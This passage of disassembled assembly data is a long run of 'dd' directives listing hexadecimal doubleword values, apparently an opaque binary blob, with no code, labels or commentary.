dd 848344E8h, 92007673h, 25DF9CECh, 2EA0D463h, 40E06679h
dd 0F9965A59h, 0D5CC7804h, 0C8A11201h, 9B60083Bh, 4C097F16h
dd 0A8A0E3F6h, 4E25F35Dh, 8C68C51Eh, 9884DB60h, 0EB5E2DDCh
dd 60D12424h, 21774C79h, 0F1C16C62h, 0C0D04C82h, 9EBB02B7h
dd 79B42D51h, 2741E862h, 5911F8C8h, 3AB0A9C1h, 2EDD4417h
dd 0B6E060EEh, 5816844Fh, 84D72F30h, 31CC3F90h, 410135CAh
dd 0F250A241h, 30F931BEh, 253937DEh, 8191934Ah, 7AC3CC2h
dd 4E302ADAh, 101180B1h, 0B7F751D6h, 99047496h, 9A3E102Ah
dd 29891CC2h, 91B27805h, 26D4B81Ch, 7EA003C4h, 0D234B074h
dd 84806901h, 5357E110h, 6506C604h, 6090223Ah, 0B3080540h
dd 0C2D865D4h, 0E0A47DACh, 161CF482h, 245AC100h, 9A32BC3Ah
dd 3D410791h, 102DD3DFh, 7D9B94BFh, 0AAE9E512h, 842364C9h
dd 0BB86A408h, 7311D426h, 5B0C884Bh, 77E2C23Bh, 802FDF5Bh
dd 3601BF23h, 7DB3F1Fh, 0B80B4023h, 0C485F4A2h, 8120D5D5h
dd 21B931FCh, 0B8203AB8h, 132A893Eh, 82DE1440h, 4A2753B4h
dd 511F440Ah, 0E0D2BA13h, 0A8482085h, 580675AEh, 1644F695h
dd 468C90C0h, 13D70789h, 0C478CA12h, 0DE90403Eh, 1AB813h
dd 0FA97349Dh, 9ED18C26h, 0A45C9324h, 0C0F8CD2Dh, 1A29A5A9h
dd 828CA41Fh, 0E854FF80h, 91966245h, 5E514158h, 182EDB8Dh
dd 6E08586Fh, 0E3DA0348h, 294B5511h, 0BBC80CCBh, 8778B9C0h
dd 3E3903E7h, 0D260330Eh, 2C732100h, 50FB5756h, 18130047h
dd 0E9D0E46Fh, 9260015Dh, 55D57D90h, 2532D6Bh, 883168A4h
dd 216F6430h, 84A549E4h, 0E6355240h, 0A0A7A060h, 887650A2h
dd 49974F0Dh, 0BC7AE1CCh, 4084013h, 24338C08h, 98304B40h
dd 882CD22h, 0B02A3DCh, 5A67B95Ch, 0D0B79DC8h, 82CCA409h
dd 9ADED0h, 0EBB57598h, 0D3E5910Fh, 9387C148h, 58246EFFh
dd 0D0A54B72h, 7645EBDCh, 67F404B5h, 3C0F4C90h, 46FE275Dh
dd 0B1A4C44Bh, 3C1433E4h, 0D4410058h, 505CA510h, 11780074h
dd 0D143672Eh, 0ED4EE669h, 5432388Ch, 384B4h, 0B1A87913h
dd 9CAF7899h, 44A3C027h, 0EBE5000Ch, 248A57E7h, 0CD01179Eh
dd 74125201h, 252FE8A1h, 3005185Ch, 874ADD88h, 54C86480h
dd 0A94205CBh, 0B8644653h, 985503B8h, 545BB656h, 3B70030h
dd 0F940CF6h, 689032D7h, 0B80C4180h, 8517813h, 200D6004h
dd 98D73B35h, 1989EB03h, 0E133D308h, 0E4E84A61h, 9A840497h
dd 1F121A2h, 9434099Dh, 60927CF8h, 0E49718A5h, 3B1DF738h
dd 78300FFCh, 18CC4EEFh, 224B966Fh, 8CC338Eh, 1502123h
dd 96A6CC46h, 80A9727Ch, 0FD48348h, 0C0A1C66Ch, 9E518B10h
dd 997CFB0Eh, 17062407h
dd 0A600CC8Ah, 20F715h, 84465FADh, 10CF86D4h, 9280D0C3h
dd 0B005A319h, 1DFAAA21h, 4015A866h, 76676FBCh, 2360F15Ah
dd 2439420h, 0A787F63Dh, 63A90820h, 0C58280C0h, 8A1D8010h
dd 0A5F42000h, 74CD7E15h, 1272311Ch, 0C055F748h, 490AE16Eh
dd 0C8F193A3h, 5D5A7E83h, 75400F24h, 0A38FEA37h, 0FB8E1183h
dd 3F233289h, 86229A82h, 0F0399FC4h, 0D06D03ECh, 0F368864Dh
dd 8C588D89h, 2093F408h, 0D066004Ah, 6CC8B056h, 7A002DC5h
dd 15CCAC89h, 9F8DBC1h, 98180AEDh, 80AC8F88h, 653ED78Ch
dd 0CD02742Ch, 0A5450F7Eh, 0B4E4A097h, 333B669h, 10D3631Dh
dd 8305315h, 615621ABh, 99F8B6h, 8A5DD87Eh, 0AB928498h
dd 1985E0A0h, 10CA271h, 0C9F9B69Ah, 1109009Ch, 9E6ED727h
dd 50061E3h, 0F4E558C1h, 3F8CC7Bh, 6C909407h, 484098DAh
dd 0D8619390h, 0CD628041h, 5F9A057h, 0D001A042h, 0F98D89F8h
dd 24FD1889h, 0F4B63423h, 7BAD3902h, 41EFD920h, 9983D764h
dd 0C3BA6C96h, 0A33C6801h, 4998AA8Ch, 0C4095C44h, 0F06C333Eh
dd 469672CCh, 252223h, 26CC4155h, 0DF844299h, 8A31CB73h
dd 67A12E0Bh, 30864AE0h, 3561A619h, 0FC1E4270h, 0A4986C0Dh
dd 0A19CF88h, 99FAF566h, 3F88323Ch, 11CC4A30h, 882B9673h
dd 42548026h, 0D63966CCh, 0E9642D05h, 37C18411h, 91A2766Ch
dd 0EB120ACh, 0A181FE08h, 0E82247F6h, 49207828h, 966406F1h
dd 0A8AD568Ch, 98952232h, 0CC4D303Ah, 43966E11h, 51802888h
dd 0F66CCC45h, 0E5F30095h, 137C7F3Fh, 0E4A89082h, 6A4D0D1Dh
dd 42368E60h, 3321806Ch, 3F3140ECh, 6E660D7h, 0AB9E29FBh
dd 0B0880898h, 0BF52621Ch, 56110130h, 1B61A76Dh, 32F0A2F0h
dd 6B79A60Ch, 0C9CB3731h, 3181980h, 24403288h, 3DC8ED7h
dd 24F493E3h, 0CFA0EF8h, 0FB5A4E26h, 642CB112h, 0FA41C249h
dd 9CA09A83h, 7788295h, 0AC0288D2h, 6303C406h, 4C479216h
dd 0B66704C8h, 62531D35h, 5F5420AFh, 0F97964B6h, 0B273480Fh
dd 0FD9502A6h, 68C0AA02h, 3284674h, 39CB2A5Dh, 8FA581B7h
dd 0A8BF1020h, 2461E0A8h, 101A45h, 81D49C4Eh, 77025FB3h
dd 64CCC6ABh, 83384882h, 0F76A2421h, 8C483E6Ch, 151C07C3h
dd 13F6713Eh, 2055B802h, 0C87E8594h, 0FE34E467h, 0A3817CD0h
dd 2EC10EB8h, 1D80F6E1h, 0D94FB749h, 57581E00h, 0AA5D4A72h
dd 0AC50FB82h, 1FD5D615h, 0AF15CADh, 10C2D62h, 0F58B47BCh
dd 0CD309632h, 8C3A0452h, 4006A823h, 0D91DFDh, 119BF226h
dd 5376C72h, 0E38A9A03h, 992052AAh, 3C607FC0h, 0FDF64099h
dd 98A16A05h, 0AC8B3913h, 66C025C8h, 24620912h, 16B69876h
dd 49D44296h, 0A880F5B1h, 3F57112Fh, 87FA7512h, 929D4420h
dd 68F858BCh, 0FE22144Dh, 5C07B624h, 4E6C4A80h, 1741D3F8h
dd 1E507133h, 5C9DC072h, 0BC7E780Dh, 0D8921F17h, 7015EB00h
dd 772357CFh, 124C3433h, 44A80868h, 3AB66AC0h, 223B461Dh
dd 625900B0h, 3EF07EB6h, 39025F8Eh, 155CA187h, 473840E6h
dd 5A02CEFh, 859D94h, 91620A42h, 8A0CC682h, 0F8ADA449h
dd 0F6C21F8Eh, 40E9FAFh, 0C852EC19h, 48C41F4h, 9671CC4Ch
dd 52381Bh, 2BBDCC44h, 262184C1h, 0E8940F51h, 53162FC7h
dd 0E4143EF2h, 3497265Ch, 0ACDDAC0Ah, 784AF03h, 0A84E9916h
dd 882CC40h, 0B874129Ah, 5388403Bh, 14BDAADDh, 4880DA34h
dd 248A6487h, 4A043h, 0E019E7F1h, 3E4FC278h, 88F8E100h
dd 1F957E20h, 1A030CFh, 0ED75A529h, 3EE5F61Ch, 2C458D00h
dd 561384h, 5060B341h, 8CD0BFBCh, 0D0F1BCB9h, 5ED0C81Fh
dd 6189D608h, 0D9AE391Fh, 9A1D02B8h, 8884EEB8h, 376B209Fh
dd 0B94A006Dh, 9BE6811Ah, 4C9006DDh, 0F45F6E26h, 398E6911h
dd 2980485Eh, 34400DC4h, 19E8D742h, 0F62DD300h, 8A1F65CBh
dd 880A5070h, 0ECB54C7Eh, 1751FD30h, 24911608h, 2E4E6100h
dd 258C9A67h, 7401B4EAh, 0D0F69697h, 80195F57h, 1420644Ch
dd 330C22EDh, 6E357402h, 52B61C73h, 0BED0020h, 9E9D57F9h
dd 48B1B775h, 7D9A3A00h, 43FAC2h, 268B1DE8h, 2ECB7F6Ah
dd 0CF176F00h, 11043988h, 0BDD51258h, 3C2C1450h, 0C53E3C40h
dd 0FB88D8h, 7A3D4AA8h, 0EE262C8Ch, 8402187Dh, 400280E3h
dd 98D8FA9Ch, 2008B0E4h, 3C4C9CAAh, 8CACE894h, 0E7CBCC06h
dd 2A40A133h, 7E4079Fh, 0EEC69B0h, 180BD0DEh, 0B4058FD4h
dd 0B74A2872h, 4B31B820h, 181F0173h, 1BCF6450h, 3A0C307Ah
dd 1C2D2706h, 0E458384Dh, 26512482h, 2E7C1E20h, 64F68320h
dd 0C00597EEh, 0B8FA33Bh, 448ED088h, 1E54FCAAh, 837B5FE8h
dd 927D3Ah, 2D2214CDh, 703E6BFh, 65FE1328h, 0A2127068h
dd 0A4A0E9D4h, 956585FAh, 7C810949h, 7085AF6Eh, 8029D58Ch
dd 410F640h, 9A126C90h, 2C1311ACh, 28C54004h, 68304622h
dd 1D3411B6h, 80AD886Bh, 0FAB66057h, 0A0029FA1h, 6A1C7CB9h
dd 148C693h, 2E46B31Eh, 0E7C29B75h, 7D8E0AA8h, 889D4E05h
dd 44C1F9BBh, 80A8EEC1h, 1A1C0E04h, 0E6E14F1Fh, 20E37220h
dd 4091B600h, 2B53A200h, 3D8CBFB1h, 62017A34h, 9215B7DFh
dd 0B52130F3h, 0B204B01Eh, 0ADFEA509h, 0E091B104h, 0B66D8041h
dd 8C431D37h, 5AAE44h, 77EEB665h, 0EF68CD40h, 89F60B06h
dd 0CA582125h, 83A4EC6Eh, 351807F7h, 0B858F95Dh, 12500049h
dd 22956F30h, 1763FC63h, 80602321h, 3F711C0Eh, 0B000695Ch
dd 8066103Fh, 1163617Ah, 99BD190h, 3A761C31h, 38B0829h
dd 7C967C10h, 58B1BA20h, 1D87C8A5h, 51011EC5h, 5002A057h
dd 0B532E98h, 2BDA3F11h, 0E590A30Ah, 2574A8C4h, 0E4211521h
dd 346EF0EEh, 2740F1B0h, 0A0DF2413h, 395840B4h, 9C06E095h
dd 675B30E4h, 44382F02h, 871877D8h, 21B068B2h, 0A9988811h
dd 0FD09E4E4h, 0C8BDC284h, 4C88DE0h, 331210A3h, 0B1113E8Ch
dd 42B1F804h, 0C042E204h, 3D9CF0D0h, 48A61D38h, 0A3CD40E4h
dd 28AF18Eh, 1246DA4h, 507A1C67h, 1737F7B0h, 8AAC705h
dd 0E020F419h, 969D2664h, 0D88688E0h, 7A4B6C3h, 0F58E1141h
dd 0EA832017h, 71DCD5B5h, 0F1418204h, 7F86018h, 8201922h
dd 0ACE28498h, 0EA8A506h, 5E740418h, 816CC07Eh, 71FD2EC5h
dd 3C1C742Ah, 0CC4F048Ch, 8E33966Ch, 47017F74h, 0FF2B0FCCh
dd 4EF00DCBh, 0A2BC28E3h, 5A908881h, 0B0689239h, 2856EA2Ch
dd 22C8E3ADh, 42702825h, 2EAFCA0h, 28F62388h, 7CB06063h
dd 96F2404Ch, 6092743Ah, 1C3189D0h, 7C4B859h, 6C34C6CCh
dd 0F0BA2490h, 880A0C24h, 203C4724h, 8C5DCD78h, 465E7494h
dd 0E2050029h, 0E1621F1Eh, 5308128Ah, 0FFF0C0D7h, 292A0C2Ah
dd 9800EC9Ah, 5E1558B7h, 0E0FD0A72h, 5F092F5h, 8CA3956Ah
dd 4C9481A9h, 0E098A0F7h, 0A4BF0E25h, 0C4A1446Ch, 29BCEC2Ch
dd 6660008Ch, 7FD2A78Fh, 211304A3h, 0C848F87Eh, 2660A848h
dd 42042515h, 84409772h, 9C96FD9Fh, 0B280F300h, 3732B24h
dd 714A1BFh, 0FCB8C69Eh, 2F0337A3h, 3863674Eh, 3DA82354h
dd 6DCC5001h, 0E3B96h, 0D4CC484Eh, 0A029006h, 86A7BF9Dh
dd 5F82827Ch, 3060C823h, 20BAAA62h, 2213137Ch, 0C887A90Bh
dd 0EC38A281h, 476A460h, 731C9B95h, 2EA0D025h, 0A11FE820h
dd 740C98CCh, 14CE190Bh, 88DF3E19h, 3B00D658h, 988B774Ch
dd 0F66C7E49h, 5B3A7818h, 0F36020CFh, 1F409424h, 8133647Eh
dd 0FE28C2DFh, 91DAD0C8h
dd 90E52830h, 7B2F2532h, 0B8A9627Bh, 0E0720C68h, 0B4087126h
dd 1FBDAA40h, 30B17CBFh, 6318F785h, 0EF171837h, 5D5C2h
dd 0D421F101h, 60B7D44Ch, 91EA8F38h, 23468388h, 180565BCh
dd 0D24CF19h, 25384820h, 7233102Ch, 0EB9C1FB4h, 97D06C21h
dd 253B8085h, 8D53B438h, 7E0420ADh, 2141FE7Ah, 903BF368h
dd 94C09AA8h, 3184C7CCh, 0D4F8B954h, 83A0F64Ch, 0E41B57CFh
dd 207AB4C8h, 0DB052235h, 0A6061491h, 86EA8C89h, 14097EC4h
dd 349DAA1Fh, 0A1AF64C4h, 103F4160h, 0D57082F6h, 80BC1E74h
dd 0A47C51F0h, 267231A2h, 79B0D630h, 0EE6A1368h, 12C748C3h
dd 0F53950h, 0B47B3408h, 0F303D00Ah, 8C98C621h, 0C16968A3h
dd 0C48CC850h, 97988067h, 80AAB549h, 0E70CFCC1h, 5D0CA846h
dd 0D0DE7E08h, 10C4B03Dh, 256620E5h, 0B402FB08h, 5C83AB2Eh
dd 4048E1BBh, 8C29E8F4h, 8371A407h, 0EC803DA0h, 4DBA28EBh
dd 6C096CDBh, 0E844B332h, 66024846h, 5B1D36B6h, 5510AA31h
dd 8277B65Eh, 8A0ED15h, 95FC00F8h, 1CFE7EE1h, 75AF01B5h
dd 0CE015E5Bh, 9813FC3Eh, 1660C950h, 0C24084B8h, 0F21D2930h
dd 2B016B4h, 0FAFCA62Ch, 6290660Eh, 8E7A0539h, 819F64BDh
dd 9B6A1Ch, 6992A30Dh, 846441EBh, 809D9939h, 6AD9C725h
dd 0B076Dh, 0B1EA1CC0h, 9E39EB19h, 8DCE8602h, 8CF21051h
dd 0A09170B4h, 49A21D74h, 0A0139094h, 7748274Eh, 0B77580B1h
dd 0E7619CA2h, 1FB3E620h, 841A4E1h, 74E09DCCh, 83780EAh
dd 0FE14D302h, 80122330h, 98D17678h, 5411392Fh, 326DF400h
dd 2DF6A351h, 465E0CB6h, 775103ABh, 0DA8CBDBFh, 0ADA084CCh
dd 2F3D4E40h, 1C2F8ABBh, 0D060AC80h, 8890CD4h, 3599D1FDh
dd 46016D02h, 440D25B6h, 33654E80h, 929735A8h, 0FC334980h
dd 0D73E3840h, 0DF076C99h, 0FC4159C3h, 2FCDDA90h, 0FFAE0915h
dd 30001F7Dh, 538DDB08h, 80AA39CBh, 8E76CC6Ch, 7CF8B4Ch
dd 6B1FA3B7h, 0D269303Bh, 8E4C02A0h, 0C8E21D01h, 0D45576C0h
dd 9732A0D9h, 39189619h, 0B6CF05C7h, 0C1CC4B08h, 29222178h
dd 0DFF317A4h, 0F5628880h, 0DC1C89F8h, 0CC3278BCh, 4EF779E4h
dd 5311035Ch, 370EB0Ah, 98542100h, 994544E4h, 0A0780033h
dd 0C11488A1h, 6D009519h, 0F7034A4Dh, 0ECB6FE8Dh, 0BA9300E1h
dd 677C9478h, 0C2CB3F3Ch, 162804B2h, 7830D012h, 44A0F49Ch
dd 1204D88Bh, 26B98280h, 0E01058A9h, 84AF07F2h, 0B0CAB6D4h
dd 9AC34D80h, 73D72E1h, 4C331214h, 3274378h, 75B1C0BDh
dd 804AAA1Dh, 474DE009h, 10ECC2F0h, 84F12910h, 0C88567E4h
dd 64027020h, 5F65248Ch, 0F69008B8h, 0FDCD7E01h, 8C42F853h
dd 0FECCA013h, 52C4D5D9h, 443D4FFh, 308C51F0h, 881D1400h
dd 0B4271A36h, 2F190256h, 2E1C4183h, 5F940C80h, 7502321Bh
dd 0B3E91440h, 2E880030h, 0B40E2116h, 8F321F43h, 802F8F40h
dd 791B1844h, 7E137CEFh, 5C28EE8Ah, 1C003B84h, 212044B4h
dd 2379EF7Ch, 281128C0h, 0FA1A3B80h, 123D067Dh, 403C76EDh
dd 0D7FD8700h, 192E7C40h, 46B40724h, 70C2221Ah, 0EFA102FCh
dd 0B3ECD714h, 27F71804h, 264080h, 456356EDh, 0D750BF49h
dd 79C782FAh, 1F86407Dh, 28131B70h, 0B4A3188Bh, 8D1DE015h
dd 261B1708h, 2E02091Fh, 8DE03386h, 88838038h, 2641793Eh
dd 3D8389h, 0CD4EFD0h, 361A9E1Bh, 1E1830E8h, 0D9386246h
dd 13F205B3h, 50A103h, 3A3877A0h, 0EF386842h, 33B880ECh
dd 416409FDh, 5D2C381Ah, 430AE1E7h, 781C77F1h, 1682863Ch
dd 19636948h, 15340030h, 4043087Dh, 5250B447h, 8826022Fh
dd 0B441445Ch, 3E5F6838h, 857C2720h, 98020C92h, 7AA5F304h
dd 0F8FA2054h, 0E7749A05h, 0C484233Ch, 658F4081h, 80524702h
dd 0A2138C0Dh, 0D46019E9h, 40075CADh, 0EC406430h, 0E4B122CBh
dd 4832D424h, 4998105Bh, 4460FD2Eh, 30CC3245h, 5FEF4026h
dd 49BB58C8h, 60CA4C5Ah, 13045057h, 0AA4ED982h, 0D05979C9h
dd 71D5100Ch, 0A219708Ah, 0C29CC42Ch, 3769F60h, 7CD0080Bh
dd 32135B2Ch, 51702486h, 588868F6h, 6BA5D4EEh, 0F6B81198h
dd 62AA0D60h, 940359C2h, 1CA68214h, 584E043h, 0BF216A66h
dd 216BF3C4h, 2AB5C4FCh, 6E100C46h, 55B6130Fh, 0B004F452h
dd 1C421D19h, 18C48273h, 0F27A5117h, 0A591B021h, 0B8A88214h
dd 783CCC50h, 182BB2CBh, 2F8452FDh, 7010849Ah, 28C00366h
dd 0D4C3D054h, 8A23E1Ch, 5AE40ECBh, 9140F38Ah, 31830442h
dd 9000D31Eh, 101F49B6h, 0B755F898h, 56AAE1ACh, 9805EC24h
dd 0F41985F6h, 8C06985Eh, 0B88B7FEh, 7E62D78Bh, 0E692D882h
dd 7AC2184Bh, 0D0174080h, 9724844Fh, 44680496h, 0BF2239C4h
dd 1950DC2Ah, 9084A81Ah, 0A292256Ch, 1F45F864h, 50CF4843h
dd 45DA0441h, 52BFF1D4h, 0C719E20Ch, 4586D20Ch, 0C1C42B7h
dd 4898F433h, 8205F2C5h, 201E5C85h, 1DF2D88Ch, 0EA404D62h
dd 0FDFE18D4h, 0CE5FF8C9h, 950EF0C0h, 0CE7E4018h, 9C26FF2Ch
dd 4A019D4h, 742C1096h, 0FB22F0DCh, 786A0C0Eh, 75E1FDAAh
dd 78F3D13Eh, 1B44Ah, 9CCB182Fh, 1F9F489Eh, 282D19CCh
dd 1FC402FFh, 383050A3h, 0DCC6FDCCh, 0EE648421h, 8D0C80CFh
dd 0A7630EFAh, 13FEB618h, 0C0F69F39h, 0EDA8DA8h, 8948195h
dd 39BCF264h, 51B61A98h, 0B43DD71Ch, 0C81FFEA3h, 3D432E74h
dd 0D0BF9B7Ah, 29B71996h, 2CAC1808h, 985415A0h, 9192C450h
dd 0F5710280h, 0D441E89Dh, 98E0970Ah, 9D4F800Eh, 0A6B6F341h
dd 18A8CBE3h, 48099000h, 1210049Bh, 0A33C07ADh, 11C53B0Eh
dd 0B0CDBCC0h, 397E0F60h, 86431BB8h, 977CB6Ch, 202F4E00h
dd 9E0BD3D7h, 90FA15CFh, 0B1CA4C9Dh, 0AA670280h, 0E091B811h
dd 47601187h, 77D84880h, 0CE1997ACh, 9307F0C8h, 920CC888h
dd 0B0F3A520h, 0B3FD1E96h, 8CC0A5A3h, 29ECB2CCh, 2430F75Fh
dd 74D3531Fh, 50A77D04h, 4F80CCFCh, 1EEC5F75h, 58F51F27h
dd 74D47118h, 141E824Fh, 3480AC2Ch, 0F0F3CC6Fh, 56B530D6h
dd 0D28D1771h, 0C5113C9Ch, 626E4F00h, 0F87F89D3h, 0B6955D09h
dd 5BF82006h, 0F210DC83h, 0DDD603DBh, 0E19F63BEh, 0E954022h
dd 8C0195Eh, 8C90B26Ah, 0EA10C518h, 3B10808Ah, 942E31Fh
dd 0E6178E84h, 0C10D5006h, 0D8777902h, 44741C93h, 6E382A74h
dd 5E6700BCh, 0FFD3DC41h, 0A467A6CEh, 0CF004079h, 8DE7BEh
dd 556E59B6h, 0DFDC82E2h, 9F46C609h, 0FC2C02D6h, 0D01F00CBh
dd 6F743649h, 35541700h, 441EED84h, 0C490970Eh, 0D000C668h
dd 0D7E5CBDDh, 15E6045Dh, 0D00E731Bh, 8D1C4224h, 1759FB91h
dd 11F38688h, 11D07503h, 0D576EC89h, 99F688C2h, 0A825CFD4h
dd 6056243Dh, 0C3749C0Dh, 0D1CC3021h, 6CC5EE41h, 0CC850C40h
dd 30D649B6h, 1F70305Fh, 1105EF4Fh, 7431C0ABh, 28B51882h
dd 82EBC514h, 3082D538h, 0E113B874h, 0B8641012h, 84458872h
dd 7E2EE800h, 2D989C1Bh, 814C0109h, 0B63D52BDh, 0F79180F2h
dd 0C815C40Eh, 85A2CC5h, 0BE160999h, 314D0411h, 0C2280B68h
dd 1DBC0EE7h, 3C486403h, 2C02ADC7h, 48FD093Dh, 127B949Ch
dd 0E2A2E9EBh, 74F30074h, 0B4E520C8h, 0FFCF12D5h, 0F91C2245h
dd 0B364E18h, 5B56972h, 0D23B88A2h, 7AA9890h, 1315F0B9h
dd 582100Ch, 0F4C56B88h, 42F5082h, 393CF364h, 80660B34h
dd 60745151h, 7D73D37h, 6D3FE502h, 6223B798h, 65B07CB0h
dd 8608C16Bh, 0B0323F58h
dd 644C20FFh, 47D88D0h, 0C77D3102h, 717EDD14h, 2FF9F184h
dd 0F921987Eh, 5E68767Ah, 4E000B46h, 1477E289h, 0D42D2C43h
dd 0B89C10C5h, 0AA2F004Ah, 1AEBDD6Dh, 7201A197h, 7A811C3Ch
dd 98D8BF47h, 60ACA142h, 4906E18h, 0AC70862Bh, 4B216038h
dd 714AD067h, 0EC509AA6h, 74CD0544h, 0C1BFC364h, 303C773Ah
dd 27901F52h, 7E9DF70Bh, 0E48445CDh, 0EB4163B0h, 346BE806h
dd 0D8563E61h, 7610DCDCh, 64E3CBA1h, 0CA665AF0h, 0C01088A8h
dd 0B4A64B50h, 25C44E58h, 649C60ABh, 5871581Ch, 73FE8D80h
dd 8200B00Bh, 7AB87B6Dh, 41FC58Eh, 0D0A23584h, 0BC4A098h
dd 9CCE0E4Eh, 0E2C1ABC8h, 8DCEC9Ah, 2CE0484Bh, 4C12D111h
dd 9150331Ch, 0B164C222h, 0CC4172DCh, 0DC589086h, 4F9340F5h
dd 25989890h, 0C856C102h, 7070FD9Bh, 5C979D60h, 7862691h
dd 7E1F98DAh, 7AC0DEACh, 20EC1689h, 4B3100AAh, 8E1115A9h
dd 2900F6EEh, 47E51F7Ch, 1262AB53h, 0A6271281h, 0A8C5E354h
dd 50671C0h, 13315FEEh, 0FE0A202h, 45BC4E57h, 2C13B986h
dd 0EB0188B2h, 0DCDED598h, 0CC9CF06Bh, 0C81D590Bh, 0FEEE0045h
dd 3074D17Eh, 0F7317F1Ch, 0D50F1E3Eh, 4FE12E50h, 0E8EC949Eh
dd 0F0188CA8h, 5B9119FCh, 0A27800C8h, 0BA1CA711h, 0E31327B2h
dd 43A5D75h, 72010D23h, 0AA34F838h, 73A5A21h, 4025C844h
dd 3375C57Eh, 144B7A5Eh, 49A8980Ch, 0CC0A00F1h, 37DD2778h
dd 0D89589F8h, 0FE600B8h, 11B39072h, 0A037C674h, 3BB4106h
dd 0A81EA63Ch, 2568136Ah, 84041875h, 0F9B64E49h, 0A8D015A1h
dd 0C3E30350h, 452620DCh, 5335D0D8h, 55EFC800h, 0A798642Eh
dd 8A210933h, 0C4891B22h, 1079FCD1h, 0BE7C1E18h, 0A7DA4D0Bh
dd 0A3DC9055h, 98A8008Ch, 0A67834FBh, 0D0B81D3Fh, 7747090h
dd 0B9871730h, 0F4D611Ch, 86BFCD95h, 90197F8Ch, 0A423CBCh
dd 3864F073h, 5A81E114h, 2E9F821Ch, 0B84E2FFDh, 173DC2B2h
dd 607C62C8h, 40F48830h, 9D4B21A5h, 8026989Ch, 6F1ACF1Fh
dd 0D6689807h, 0B0D512C8h, 31FF8C80h, 0E78740D6h, 3B974F67h
dd 606481DCh, 4670204Fh, 4C68483Fh, 318B3064h, 3A867A0Ch
dd 1C8CE98Eh, 61F10B80h, 23C062F9h, 0D0700162h, 0E80864Ch
dd 0D069510Eh, 6B04B260h, 0A05290FAh, 0EB9425C8h, 888077DCh
dd 1097D11Fh, 8CF178h, 0E1290743h, 73B3FA11h, 81CB8039h
dd 998FBB4Fh, 30302F6Eh, 515507FDh, 4368DB57h, 0B5D3753Bh
dd 48017FC3h, 0AF9D4F2Eh, 1E2FD955h, 38A400A0h, 0E598AC1Fh
dd 0E7530700h, 4109F78h, 88E64FABh, 0CF0F8020h, 0EFBCEEBDh
dd 22D40064h, 7FA6E2h, 8DE02F26h, 8F31DCB1h, 53084900h
dd 0A9A778DDh, 31500B4h, 8DE59609h, 390062D5h, 9D90CA72h
dd 1590D0Ch, 87F3186Eh, 0E6FC8C25h, 15605854h, 0AB5D1BCh
dd 0EFA065F9h, 3E118788h, 0F3542043h, 990706EDh, 0C4778762h
dd 5882B6C2h, 0CD8E807Ch, 8D164C71h, 739A3300h, 9BE37860h
dd 892C0C02h, 40FE80B3h, 502D1555h, 60E0042Ah, 0D7B511A1h
dd 0F101F81Ah, 9ACE27C8h, 0F3304D67h, 145B040h, 48B0A02Ch
dd 0F03018CBh, 911B9E31h, 0C04025F7h, 968333h, 98A415BDh
dd 3017DA3Eh, 0B054761Dh, 282D7920h, 3382673h, 7BFA297Fh
dd 20074460h, 1633F48Ch, 0B06222FEh, 0C1666277h, 2209093h
dd 3C5C0027h, 7494CF2Dh, 2000E66Eh, 0D638B301h, 22FCB2h
dd 832949E9h, 9E1B6594h, 6144C050h, 0B25551C1h, 3184D2A8h
dd 867C88EBh, 0A401800Eh, 16FA08A0h, 48F08030h, 2A18C12Eh
dd 8F1A14B0h, 0ACAC4148h, 0D61831h, 3BF14F71h, 3C5BF725h
dd 189431D0h, 0FA48E2CCh, 0FDA47868h, 7C4003C3h, 466F4ACh
dd 0FD587066h, 0F8DE3428h, 4D0516Ah, 873104ACh, 0C5F110F4h
dd 5FC1B847h, 9440E2F8h, 566B351h, 0EA8515ECh, 0F18007C1h
dd 2AEFF09Bh, 0E5645760h, 4D21C729h, 0E30F11C0h, 9219F200h
dd 12FD243Eh, 6C00183Dh, 0D6A45066h, 1DBEEA53h, 0C159FBBFh
dd 304913ACh, 473DE802h, 54E70B00h, 8CCDF1E0h, 83CC3FF6h
dd 0DEC500F2h, 8DCA7127h, 0FF040A17h, 0DC58BB37h, 0C3E694C0h
dd 0D7BD0099h, 0CF4870AFh, 2960B869h, 0C27D73F0h, 7A04002Eh
dd 0A10B3D1Dh, 0B900B53Ch, 0AEC5E012h, 1E2F72F8h, 0F948A622h
dd 0CFEB6B80h, 1A216D97h, 838E9C00h, 2EBA9EFDh, 0A84FE8E8h
dd 702F1A8h, 0CCBE32F4h, 0BF7D434Ah, 8B30690Fh, 0CB71E05Ah
dd 3050AE11h, 0EF599ED1h, 313BF8B9h, 0CB0F80B5h, 25E0684Eh
dd 0FDBD0012h, 0FEF21D98h, 22767A50h, 16D0D600h, 1A131FDBh
dd 0C58006Dh, 0F5E0D1Bh, 80007FADh, 22216747h, 11879Fh
dd 0DAECFA51h, 0A4969B1Eh, 0EE7D400h, 6CCDB2D8h, 0AF4800E6h
dd 8BDDD569h, 1A070274h, 8416D3Bh, 0B1EBB2C0h, 0EDF9032Fh
dd 75B0564Fh, 518CC0E4h, 49000E50h, 1B1F5936h, 6B5E2Ah
dd 0E217CE87h, 0E3FAEF72h, 0D7847400h, 0ACC51681h, 51C0A87Fh
dd 9007032Fh, 91E25C42h, 30D78EE1h, 0C000D5C8h, 0F45E8415h
dd 7C93A9BFh, 0F3DE3910h, 0DF2BA701h, 0EC7817BDh, 8C1C168Fh
dd 0C200727Ch, 76B8283Ch, 0A7A60C1Fh, 0BD682EEDh, 0A486803h
dd 0D8D45AE6h, 0EC8AD1h, 6A47AB5h, 9F99A89Dh, 8310B33Dh
dd 60F6C2C7h, 761FA854h, 0C69A076Bh, 308284B0h, 5AD617CAh
dd 80BCCF36h, 0CCE90AA6h, 9FCF616h, 403806D8h, 294C8966h
dd 0AAC500FBh, 7A51025Dh, 0A5B600C0h, 0D6FAE669h, 0BB3F6DB0h
dd 0A29C0F53h, 0DCF3A05Dh, 0A4FEC5h, 78C28B67h, 34912F1Bh
dd 2490EC7Ch, 7CE56F00h, 548626F4h, 0A1785809h, 0BA0A9B03h
dd 91A0304Eh, 0E1005943h, 0F971B3C9h, 44820Fh, 3C3D6311h
dd 9D68FC81h, 8060A00h, 8B8814C2h, 0B3300279h, 1B152B42h
dd 0DC490061h, 0D400DC7Ah, 0F110A643h, 288E13h, 1E3BFF09h
dd 31630796h, 0FBB52E00h, 264A8524h, 331F0316h, 0FA38490Fh
dd 0D44E64E8h, 5C08EA04h, 0D880DFEDh, 0FB4F2h, 0BD31FD07h
dd 34DC5BBEh, 0B76290A8h, 9A503500h, 47489194h, 75533D66h
dd 0AAD05B00h, 0B29003F8h, 1465A724h, 7AB89A00h, 0CCE636h
dd 4F85B187h, 0D8B73F28h, 9A123900h, 7D4477EBh, 18010079h
